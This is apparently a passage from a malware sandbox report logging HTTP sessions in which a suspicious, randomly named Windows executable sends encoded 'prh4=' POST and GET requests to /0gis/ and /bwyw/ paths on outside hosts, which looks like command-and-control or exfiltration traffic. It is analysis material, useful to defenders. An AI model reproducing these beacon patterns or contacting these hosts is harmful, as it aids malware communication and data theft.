Nov 20, 2024 09:23:56.721313953 CET	875	IN	HTTP/1.1 200 OK Server: openresty/1.13.6.1 Date: Wed, 20 Nov 2024 08:23:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 32 61 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 95 94 5b 73 a2 30 14 80 df fb 2b 58 1e 3a bb 33 ab 5c ac b5 6c a1 3b d6 56 8b 83 b5 53 ad 0a 2f 9d 90 a4 26 36 24 14 82 88 3b fb df 17 b0 5b dd b1 2f 9b 07 92 73 4e ce ed 4b 88 fd e5 66 dc 9b fa 0f b7 0a 91 11 bb 3a b1 ab 49 61 80 2f 1d 15 73 f5 ea 44 29 87 4d 30 40 bb 65 2d 46 58 02 05 12 90 a4 58 3a ea d3 b4 df b8 78 df b9 37 13 29 e3 06 7e cb e8 da 51 37 8d 0c 34 a0 88 62 20 69 c8 b0 aa 40 c1 25 e6 a5 af 7b eb 60 b4 c4 47 de 1c 44 d8 51 d7 14 e7 b1 48 e4 81 43 4e 91 24 0e c2 6b 0a 71 a3 16 be 2b 94 53 49 01 6b a4 10 30 ec 18 4d fd 30 9c a4 92 e1 2b 5b db cd 75 3b 75 91 5c a4 30 a1 b1 dc b7 f5 79 ed 09 7e 49 70 4a 0e 4a d0 2f b3 84 39 55 7f 3f 34 2d cf f3 8e de c4 20 09 33 94 a6 52 24 b8 99 12 11 6b aa a2 ed 23 db da 71 36 bb 86 78 48 e9 38 53 fb bf 32 d9 da fe 98 ec 50 a0 42 11 9c 09 80 1c 15 89 e7 dd f2 eb b7 43 34 3b 00 8a 2c e2 92 b5 c4 1b a9 ad c0 1a ec b4 07 fb 2a 2e 2f 19 87 92 0a ae 1c 84 52 7e 7d d0 ac b6 54 23 a7 1c 89 bc 29 45 dc 64 02 96 a7 [TRUNCATED] Data Ascii: 2ab[s0+X:3\l;VS/&6$;[/sNKf:Ia/sD)M0@e-FXX:x7)~Q74b i@%{`GDQHCN$kq+SIk0M0+[u;u\0y~IpJJ/9U?4- 3R$k#q6xH8S2PBC4;,./R~}T#)Ed-x})}K_2vUZ~"L2yF:3' Y.^v`1^K=w{n-h!{bZE3oI{Vo\|For`At$z8Sqqh'x`&VoaM<XE,Lsb>`n\|ZBtT('47&!a[jkh1o_imGSOj}V+>lfl7{\|)cTu\w.7[.hh0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49991	194.195.220.41	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:58.763293982 CET	1799	OUT	POST /0gis/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.earbudsstore.shop Origin: http://www.earbudsstore.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.earbudsstore.shop/0gis/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 58 4f 44 38 6a 49 2f 6d 36 56 2f 36 57 71 6a 36 46 50 47 78 6a 7a 48 38 76 6d 46 76 72 63 4f 41 76 54 68 75 45 42 37 52 32 5a 72 2f 47 78 34 4c 52 42 74 58 37 32 68 4b 6d 4c 38 52 61 53 4e 32 36 49 4d 51 4e 6e 44 37 59 31 4b 59 6f 33 52 4d 6a 64 32 58 65 55 62 41 53 48 38 2f 51 4e 59 6d 39 41 49 6f 53 34 53 35 4e 34 63 7a 54 48 55 64 41 78 32 55 53 6e 4b 54 49 69 65 36 46 66 6c 48 2b 49 67 79 66 45 50 2f 67 33 36 69 44 52 67 33 36 4a 4b 6d 50 68 67 39 6a 78 37 74 73 6f 78 76 62 42 6d 31 6e 71 6f 61 32 62 63 37 48 47 67 71 6f 58 49 66 61 61 45 5a 43 52 51 57 30 47 6c 72 5a 72 37 76 6c 6b 4e 58 33 4e 48 46 72 4e 61 57 44 6b 53 66 61 7a 6e 6a 4d 77 6d 69 35 35 5a 35 51 47 73 61 31 6e 47 36 79 59 47 58 31 78 39 54 47 36 69 35 2f 75 76 79 76 65 69 43 4b 79 6b 6d 4a 56 33 6e 49 61 54 4d 30 35 54 49 7a 65 53 57 65 7a 46 63 6c 6d 39 4f 45 56 4b 33 6e 6c 46 4a 49 75 57 71 77 59 4f 57 43 55 71 59 34 4e 34 6c 42 76 49 4b 46 4f 68 71 55 4c 75 4a 77 37 7a 64 76 69 2b 6a 41 4e 4b 5a 64 43 69 78 43 [TRUNCATED] Data Ascii: prh4=XOD8jI/m6V/6Wqj6FPGxjzH8vmFvrcOAvThuEB7R2Zr/Gx4LRBtX72hKmL8RaSN26IMQNnD7Y1KYo3RMjd2XeUbASH8/QNYm9AIoS4S5N4czTHUdAx2USnKTIie6FflH+IgyfEP/g36iDRg36JKmPhg9jx7tsoxvbBm1nqoa2bc7HGgqoXIfaaEZCRQW0GlrZr7vlkNX3NHFrNaWDkSfaznjMwmi55Z5QGsa1nG6yYGX1x9TG6i5/uvyveiCKykmJV3nIaTM05TIzeSWezFclm9OEVK3nlFJIuWqwYOWCUqY4N4lBvIKFOhqULuJw7zdvi+jANKZdCixCgbwuoVhG5kUXB1RjwM+BKfRSH7VS8gpNbwcthNnJ9xIZ7nap1MQWNRs9cbMbeRte3/67Wi6+PN1m6IuF4nrBC2XXIqxYpFjiMpx6R0VyWkihXUDCBpFgfGVxNfBmDPIBqp6+D6Dy6kjfC8v1D20Gza7yKnVvixjqNK+Pb/atsjRJwV0PcL4jF26Ovz+o/0B2UlfZJcrEWxKPmTcwVgMcCecM/FgDlnczTwAngzwx/Rsvc7gXtUmDhHZhy08J9p98E2Fq5/I5Ip3fwmGFK57fmcHTbJgiZg2NMosyL3pLzI+hv87QYp69mYRAdbBIG+KeB40vW2K2rf9PVok2CI3SuXdFYhuQSJ50kPt5fqC0MctD3wyvzHQfQOf/jzenlMhIcsOOflLCpi2wu/eLTKdbTOVaMdOlfmFuSfxW4lhVrQi8PxhikVXRixXSUYW6ioo6cFF37KBxODTCjA1ZrRA0aEDYWLF8RZ/uk96wMekgNgoXbyQufyohwtZMg2618OpvpRsI27YbJ8d3e7N/E0XAg2Ctq9DXXxqgB+ZurVqfCbsMN5rHgetvORe5SrYAZ18DtZYeijEjl5IFOC8lJ4PRzVc+qyua2wgyYyhoMmQilF7FomF8EuGCc/7WZowfv4FUC+QxGOuRmm0cvPHgrFVCjGaIS7Do2xmpa8 [TRUNCATED]
Nov 20, 2024 09:23:59.261960983 CET	875	IN	HTTP/1.1 200 OK Server: openresty/1.13.6.1 Date: Wed, 20 Nov 2024 08:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 32 61 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 95 94 5b 73 a2 30 14 80 df fb 2b 58 1e 3a bb 33 ab dc ac 96 2d 74 c7 5e b4 38 58 3b d5 aa f0 d2 09 49 6a 62 43 42 21 88 b8 b3 ff 7d 11 bb d5 1d fb b2 79 20 39 e7 e4 dc be 84 38 5f 6e 46 d7 93 e0 e1 56 21 32 66 97 27 ce 76 52 18 e0 0b 57 c5 5c bd 3c 51 aa e1 10 0c d0 6e 59 8b 31 96 40 81 04 a4 19 96 ae fa 34 e9 35 ce df 77 ee cd 44 ca a4 81 df 72 ba 72 d5 75 23 07 0d 28 e2 04 48 1a 31 ac 2a 50 70 89 79 e5 eb dd ba 18 2d f0 91 37 07 31 76 d5 15 c5 45 22 52 79 e0 50 50 24 89 8b f0 8a 42 dc a8 85 ef 0a e5 54 52 c0 1a 19 04 0c bb 46 53 3f 0c 27 a9 64 f8 d2 d1 76 73 dd 4e 5d 24 17 19 4c 69 22 f7 6d 7d 5e 7b 8a 5f 52 9c 91 83 12 f4 8b 3c 65 ee b6 bf 1f 9a 56 14 45 47 6f 62 90 46 39 ca 32 29 52 dc cc 88 48 34 55 d1 f6 91 1d ed 38 9b 53 43 3c a4 74 9c e9 ec bf 32 39 da fe 98 9c 48 a0 52 11 9c 09 80 5c 15 89 e7 dd f2 eb b7 43 34 3b 00 8a 2c 93 8a b5 c4 6b a9 2d c1 0a ec b4 07 fb b6 5c 5e 72 0e 25 15 5c 39 08 a5 fc fa a0 b9 dd b2 1d 05 e5 48 14 4d 29 92 26 13 b0 3a [TRUNCATED] Data Ascii: 2ab[s0+X:3-t^8X;IjbCB!}y 98_nFV!2f'vRW\<QnY1@45wDrru#(H1*Ppy-71vE"RyPP$BTRFS?'dvsN]$Li"m}^{_R<eVEGobF92)RH4U8SC<t29HR\C4;,k-\^r%\9HM)&:mKqu\f?k.F2u-iwn[S!NA\\Rs\|H.K]{in c1+d!#]{G9-us&Y"e0L"Z^$0{:o$x8Yfbf`f\|ZU,RtD/('4?(Fldv9yE^VG;g!63\v6=T1y\w.7G^g] ?0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49992	194.195.220.41	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:01.329334021 CET	498	OUT	GET /0gis/?prh4=aMrcg/vn2G/nVrnfdsqttTKn7l5IpN7CuDhUOTj2ocWrQXkoPHFbln1FmLoTaWY74KRoWkXSZUSbj2dC1qWbZWPyRks4Yv4++AQZW9eiSbZnXCVOCA==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.earbudsstore.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:24:01.853827000 CET	1236	IN	HTTP/1.1 200 OK Server: openresty/1.13.6.1 Date: Wed, 20 Nov 2024 08:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 35 31 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 65 61 72 62 75 64 73 [TRUNCATED] Data Ascii: 512<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.earbudsstore.shop/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.earbudsstore.shop/" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.earbudsstore.shop/0gis?gp=1&js=1&uuid=1732091041.9737598049&other_args=eyJ1cmkiOiAiLzBnaXMiLCAiYXJncyI6ICJwcmg0PWFNcmNnL3ZuMkcvblZybmZkc3F0dFRLbjdsNUlwTjdDdURoVU9UajJvY1dyUVhrb1BIRmJsbjFGbUxvVGFXWTc0S1JvV2tYU1pVU2JqMmRDMXFXYlpXUHlSa3M0WXY0KytBUVpXOWVpU2JablhDVk9DQT09Jl9WSzg9N3BYRDh6UXhHRnhQIiwgInJlZmVyZXIiOiAiIiwgImFjY2VwdCI6ICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGx [TRUNCATED]
Nov 20, 2024 09:24:01.853849888 CET	230	IN	Data Raw: 71 4c 79 6f 37 63 54 30 77 4c 6a 67 73 59 58 42 77 62 47 6c 6a 59 58 52 70 62 32 34 76 63 32 6c 6e 62 6d 56 6b 4c 57 56 34 59 32 68 68 62 6d 64 6c 4f 33 59 39 59 6a 4d 37 63 54 30 77 4c 6a 63 69 4c 43 41 69 64 58 4a 70 58 32 4d 69 4f 69 41 69 59 Data Ascii: qLyo7cT0wLjgsYXBwbGljYXRpb24vc2lnbmVkLWV4Y2hhbmdlO3Y9YjM7cT0wLjciLCAidXJpX2MiOiAiYzgyYyIsICJhcmdzX2MiOiAiNDg1OCIsICJyZWZlcmVyX2MiOiAiZjViZSIsICJhY2NlcHRfYyI6ICI0Y2ZjIn0="; } </script> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49993	103.230.159.86	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:07.672748089 CET	768	OUT	POST /bwyw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.superiorfencing.net Origin: http://www.superiorfencing.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.superiorfencing.net/bwyw/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 2b 63 43 41 46 43 33 4d 34 4f 71 6d 34 32 45 46 33 48 6c 6a 65 4a 47 53 38 4e 69 33 70 6f 50 33 4e 54 6a 2b 6d 52 59 71 7a 41 2b 61 77 6a 47 5a 32 6f 73 31 4f 5a 43 6b 59 59 5a 57 37 36 47 46 45 66 78 78 38 4e 61 4f 44 47 7a 55 73 35 57 4b 59 49 31 68 53 49 66 66 42 78 56 33 4e 30 78 72 51 61 34 45 35 32 41 54 49 52 4b 72 55 35 56 71 45 36 6a 52 56 78 72 37 63 43 6b 4b 78 4f 57 6b 4d 5a 77 6a 4d 73 79 34 59 45 39 37 66 55 47 32 67 70 5a 46 71 6f 75 63 55 45 43 76 71 44 52 4d 64 62 68 31 76 39 36 4a 7a 59 4a 79 4a 64 4c 76 44 54 59 59 6a 49 37 50 6a 61 2b 6d Data Ascii: prh4=+cCAFC3M4Oqm42EF3HljeJGS8Ni3poP3NTj+mRYqzA+awjGZ2os1OZCkYYZW76GFEfxx8NaODGzUs5WKYI1hSIffBxV3N0xrQa4E52ATIRKrU5VqE6jRVxr7cCkKxOWkMZwjMsy4YE97fUG2gpZFqoucUECvqDRMdbh1v96JzYJyJdLvDTYYjI7Pja+m
Nov 20, 2024 09:24:08.523195028 CET	479	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:08 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49994	103.230.159.86	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:10.219264984 CET	792	OUT	POST /bwyw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.superiorfencing.net Origin: http://www.superiorfencing.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.superiorfencing.net/bwyw/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 2b 63 43 41 46 43 33 4d 34 4f 71 6d 35 56 63 46 6e 51 78 6a 57 4a 47 56 7a 74 69 33 69 49 50 7a 4e 53 66 2b 6d 56 67 36 7a 7a 61 61 77 43 32 5a 33 70 73 31 50 5a 43 6b 54 34 59 63 6c 4b 47 4f 45 66 4e 48 38 49 69 4f 44 47 6e 55 73 38 79 4b 5a 35 31 69 54 59 66 64 41 42 56 31 53 6b 78 72 51 61 34 45 35 32 55 39 49 58 69 72 56 4b 64 71 47 59 48 57 4b 42 72 34 5a 43 6b 4b 31 4f 57 67 4d 5a 78 32 4d 74 65 47 59 48 4a 37 66 56 32 32 67 34 5a 47 39 34 76 32 62 6b 44 43 6b 32 30 2b 62 4b 31 65 6a 73 65 6d 69 49 4a 49 4f 38 32 6f 53 43 35 50 77 2f 6e 42 74 63 4c 4d 4c 71 36 42 56 4e 64 52 32 61 76 47 4f 73 2b 30 76 6e 4e 51 30 77 3d 3d Data Ascii: prh4=+cCAFC3M4Oqm5VcFnQxjWJGVzti3iIPzNSf+mVg6zzaawC2Z3ps1PZCkT4YclKGOEfNH8IiODGnUs8yKZ51iTYfdABV1SkxrQa4E52U9IXirVKdqGYHWKBr4ZCkK1OWgMZx2MteGYHJ7fV22g4ZG94v2bkDCk20+bK1ejsemiIJIO82oSC5Pw/nBtcLMLq6BVNdR2avGOs+0vnNQ0w==
Nov 20, 2024 09:24:11.079086065 CET	479	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:10 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49995	103.230.159.86	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:12.761512041 CET	1805	OUT	POST /bwyw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.superiorfencing.net Origin: http://www.superiorfencing.net Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.superiorfencing.net/bwyw/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 2b 63 43 41 46 43 33 4d 34 4f 71 6d 35 56 63 46 6e 51 78 6a 57 4a 47 56 7a 74 69 33 69 49 50 7a 4e 53 66 2b 6d 56 67 36 7a 7a 53 61 78 30 69 5a 32 4b 55 31 64 4a 43 6b 51 34 59 64 6c 4b 47 58 45 62 68 62 38 49 2f 37 44 45 66 55 71 66 4b 4b 65 4b 74 69 63 59 66 64 4c 68 56 30 4e 30 77 72 51 62 4a 4e 35 32 45 39 49 58 69 72 56 4b 78 71 43 4b 6a 57 5a 52 72 37 63 43 6b 65 78 4f 58 46 4d 5a 6f 42 4d 74 61 57 59 78 35 37 66 31 6d 32 6a 4b 78 47 69 49 76 30 59 6b 44 61 6b 32 77 6c 62 4f 64 53 6a 73 72 42 69 4b 5a 49 4c 4b 65 30 4e 79 31 6a 68 76 36 62 74 36 50 5a 42 4b 2b 36 55 66 30 77 78 65 58 6b 4f 2b 58 6f 67 30 30 70 71 34 4b 74 6c 61 41 6e 68 51 39 78 72 4b 73 67 6c 35 6a 2b 35 69 4e 67 4d 43 67 55 31 70 5a 42 62 65 41 73 7a 65 5a 42 6e 47 73 70 69 68 74 6b 49 2b 61 35 49 73 69 77 67 61 45 34 35 4b 4b 58 6e 53 44 53 4f 41 56 37 51 51 66 79 67 6d 63 49 6a 67 76 4f 42 6a 61 73 39 71 76 4c 5a 4e 36 6a 53 77 61 6a 38 6d 63 48 41 4a 32 58 74 67 49 73 42 68 2b 77 73 55 59 4b 35 6f 6b 7a 54 [TRUNCATED] Data Ascii: prh4=+cCAFC3M4Oqm5VcFnQxjWJGVzti3iIPzNSf+mVg6zzSax0iZ2KU1dJCkQ4YdlKGXEbhb8I/7DEfUqfKKeKticYfdLhV0N0wrQbJN52E9IXirVKxqCKjWZRr7cCkexOXFMZoBMtaWYx57f1m2jKxGiIv0YkDak2wlbOdSjsrBiKZILKe0Ny1jhv6bt6PZBK+6Uf0wxeXkO+Xog00pq4KtlaAnhQ9xrKsgl5j+5iNgMCgU1pZBbeAszeZBnGspihtkI+a5IsiwgaE45KKXnSDSOAV7QQfygmcIjgvOBjas9qvLZN6jSwaj8mcHAJ2XtgIsBh+wsUYK5okzTKi8C/PpfkPhhdY5lqsW4+vt8vn4X4g4BEZkWAJt+ourHrDne5yBJH/4cDAvMRSCzdZtrN5x5aldOspPHde85DCsco7soAOZeAGCBr6sNjOgATjxgEkdJtYSi1oazYR7/bmSo0YzTr/aPqPLO9nhA5GXVu22GQHjeagrlldb7/z5sbjI98WJWqFe1A0LeDdSQHwORigbcPH2gBCrvnNNsMZb8QnW4UXwjKw885CtlvZP6g2DH3Xa8pXwpDc4ISCtlqZWsyHwUzsMOvcoWVlE0hcuWLKwawJekXXf7RlpNkSBsAmA25VjI+G4S8u6k0mVN1TWEK+1ROyMCRYh2y9+6juTTQtG5vfx+4gSb7H4rVvdNtExjZsoFG+99pkEKrwOACNjVu1VNkxDD6z4WBT6NtFQz59t3iju+Thgii9IxydnWShN3p5bBJ/uF5o3MSHl5X1RrtU6OQrZMJuVr74680eCnpRHHfZHGbiiAX4xhUZq6vSB1Uca4mufCYQmUwGA7HjHd3y5CaPK+R27Dut7xEiE9cc9s1tLschAKOY5JnJCzeVq+jKcBNTzQp4y3TRj4utFo39emo7H3t0ek/1nB7JDZZfRFvaXKY3nKD5WPNQuc01atuP+9WHXT39F3t15gNd1lEl6nVy8/54iBJVFJ0vWYlqBZN+J2DS [TRUNCATED]
Nov 20, 2024 09:24:13.633373022 CET	479	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:13 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49996	103.230.159.86	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
